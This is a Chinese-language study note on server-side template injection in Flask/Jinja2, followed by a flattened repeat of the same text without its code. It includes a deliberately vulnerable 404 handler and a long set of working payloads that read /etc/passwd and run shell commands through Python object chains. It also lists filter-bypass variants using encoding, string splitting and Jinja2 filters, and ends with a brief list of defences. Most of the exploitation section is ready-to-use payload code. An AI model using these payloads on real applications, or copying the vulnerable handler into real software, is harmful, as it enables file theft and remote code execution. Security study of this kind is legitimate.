python flask ssti学习笔记
字数 1277 2025-08-15 21:33:57

Flask SSTI (Server-Side Template Injection) 漏洞深入解析与利用

一、SSTI 漏洞概述

SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当用户输入未经适当过滤就被服务器模板引擎直接渲染时,攻击者可以注入恶意模板代码,导致任意代码执行、文件读取等严重后果。

在 Flask 框架中,使用 Jinja2 作为默认模板引擎,当开发者错误地使用 render_template_string() 函数直接渲染用户输入时,就可能产生 SSTI 漏洞。

二、漏洞代码示例

from flask import Flask, render_template_string
import urllib.parse

app = Flask(__name__)

@app.errorhandler(404)
def page_not_found(e):
    template = """
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
    """ % urllib.parse.unquote(request.url)
    return render_template_string(template), 404

漏洞点在于直接将用户输入的 URL 通过 %s 插入模板,然后使用 render_template_string 渲染,导致用户可以注入 Jinja2 模板语法。

三、基础利用方法

1. 基本验证

最简单的验证方式是注入 {{ 7*7 }},如果返回 49 则存在 SSTI 漏洞。

2. Python 对象模型利用

Python 中一切皆对象,可以通过以下方法链获取敏感信息:

  • ''.__class__ - 获取字符串对象的类
  • .__mro__ - 获取方法解析顺序(继承链)
  • .__subclasses__() - 获取所有子类
  • .__globals__ - 获取全局变量

四、文件读取技术

Python 2.x 环境

# 直接使用 file 类
''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()

# 通过 __builtins__ 获取 file
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

Python 3.x 环境

# 使用 open 函数
''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

五、命令执行技术

Python 2.x 环境

  1. 使用 eval 执行命令
# 寻找包含 eval 的类
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
  1. 利用已导入 os 的类
# 寻找包含 os 模块的类
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()
  1. 利用 warnings.catch_warnings
# 通过 linecache 找到 os 模块
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[109]('whoami').read()
  1. 利用 commands 模块
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')

Python 3.x 环境

  1. 使用 eval 执行命令
''.__class__.__mro__[-1].__subclasses__()[180].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
  1. 利用 os._wrap_close 类
''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('whoami').read()

六、绕过过滤技术

1. 绕过中括号过滤

# 使用 pop 方法
''.__class__.__mro__[-1].__subclasses__().pop(40)('/etc/passwd').read()

# 使用 __getitem__ 方法
''.__class__.__mro__[-1].__subclasses__().__getitem__(40)('/etc/passwd').read()

2. 绕过引号过滤

使用 Flask 的 request.args:

{{''.__class__.__mro__[-1].__subclasses__().pop(40)(request.args.path).read()}}?path=/etc/passwd

3. 绕过点号(.)和双下划线(__)过滤

# 使用 [] 访问属性
{{url_for['__globals__']['current_app']['config']['FLAG']}}

4. 绕过关键字过滤

  1. Base64 编码绕过
''.__getattribute__('X19jbGFzc19f'.decode('base64')).__mro__[-1].__subclasses__()[40]('/etc/passwd').read()
  1. Unicode 编码绕过
''.__getattribute__("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f").__mro__[-1].__subclasses__()[127].__init__.__globals__['popen']('whoami').read()
  1. 字符串拼接
{{''['__cla'+'ss__']['__mr'+'o__'][-1]['__subcla'+'sses__']()[59]['__in'+'it__']['__glo'+'bals__']['__buil'+'tins__']['eva'+'l']('__impor'+'t__("o'+'s").popen("whoami").read()')}}

5. 绕过花括号过滤

使用 {% if ... %} 条件语句:

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami').read() %}1{% endif %}

6. 使用 Jinja2 内置过滤器

  1. 声明变量
{% with a = '__cla' %}{% with b = 'ss__' %}{{''[a~b]}}{% endwith %}{% endwith %}
  1. 利用 join 过滤器
{{['__clas','s__']|join}}
  1. 利用 format 过滤器
{{ "%s%s"|format("__cla","ss__") }}

七、防御措施

  1. 避免直接渲染用户输入:不要使用 render_template_string 直接渲染用户输入
  2. 使用安全的模板变量:使用 {{ variable }} 而非 %s 进行字符串格式化
  3. 启用 Jinja2 沙箱:配置 Jinja2 的沙箱环境限制危险操作
  4. 输入过滤:对用户输入进行严格的过滤和转义
  5. 使用静态模板:尽可能使用静态模板文件而非动态生成模板

八、总结

Flask SSTI 漏洞利用的核心在于理解 Python 的对象模型和 Jinja2 的模板渲染机制。通过对象继承链和全局变量访问,攻击者可以执行任意代码或读取敏感文件。防御的关键在于正确处理用户输入和使用安全的模板渲染方式。

Flask SSTI (Server-Side Template Injection) 漏洞深入解析与利用 一、SSTI 漏洞概述 SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当用户输入未经适当过滤就被服务器模板引擎直接渲染时,攻击者可以注入恶意模板代码,导致任意代码执行、文件读取等严重后果。 在 Flask 框架中,使用 Jinja2 作为默认模板引擎,当开发者错误地使用 render_template_string() 函数直接渲染用户输入时,就可能产生 SSTI 漏洞。 二、漏洞代码示例 漏洞点在于直接将用户输入的 URL 通过 %s 插入模板,然后使用 render_template_string 渲染,导致用户可以注入 Jinja2 模板语法。 三、基础利用方法 1. 基本验证 最简单的验证方式是注入 {{ 7*7 }} ,如果返回 49 则存在 SSTI 漏洞。 2. Python 对象模型利用 Python 中一切皆对象,可以通过以下方法链获取敏感信息: ''.__class__ - 获取字符串对象的类 .__mro__ - 获取方法解析顺序(继承链) .__subclasses__() - 获取所有子类 .__globals__ - 获取全局变量 四、文件读取技术 Python 2.x 环境 Python 3.x 环境 五、命令执行技术 Python 2.x 环境 使用 eval 执行命令 利用已导入 os 的类 利用 warnings.catch_ warnings 利用 commands 模块 Python 3.x 环境 使用 eval 执行命令 利用 os._ wrap_ close 类 六、绕过过滤技术 1. 绕过中括号过滤 2. 绕过引号过滤 使用 Flask 的 request.args: 3. 绕过点号(.)和双下划线(__ )过滤 4. 绕过关键字过滤 Base64 编码绕过 Unicode 编码绕过 字符串拼接 5. 绕过花括号过滤 使用 {% if ... %} 条件语句: 6. 使用 Jinja2 内置过滤器 声明变量 利用 join 过滤器 利用 format 过滤器 七、防御措施 避免直接渲染用户输入 :不要使用 render_template_string 直接渲染用户输入 使用安全的模板变量 :使用 {{ variable }} 而非 %s 进行字符串格式化 启用 Jinja2 沙箱 :配置 Jinja2 的沙箱环境限制危险操作 输入过滤 :对用户输入进行严格的过滤和转义 使用静态模板 :尽可能使用静态模板文件而非动态生成模板 八、总结 Flask SSTI 漏洞利用的核心在于理解 Python 的对象模型和 Jinja2 的模板渲染机制。通过对象继承链和全局变量访问,攻击者可以执行任意代码或读取敏感文件。防御的关键在于正确处理用户输入和使用安全的模板渲染方式。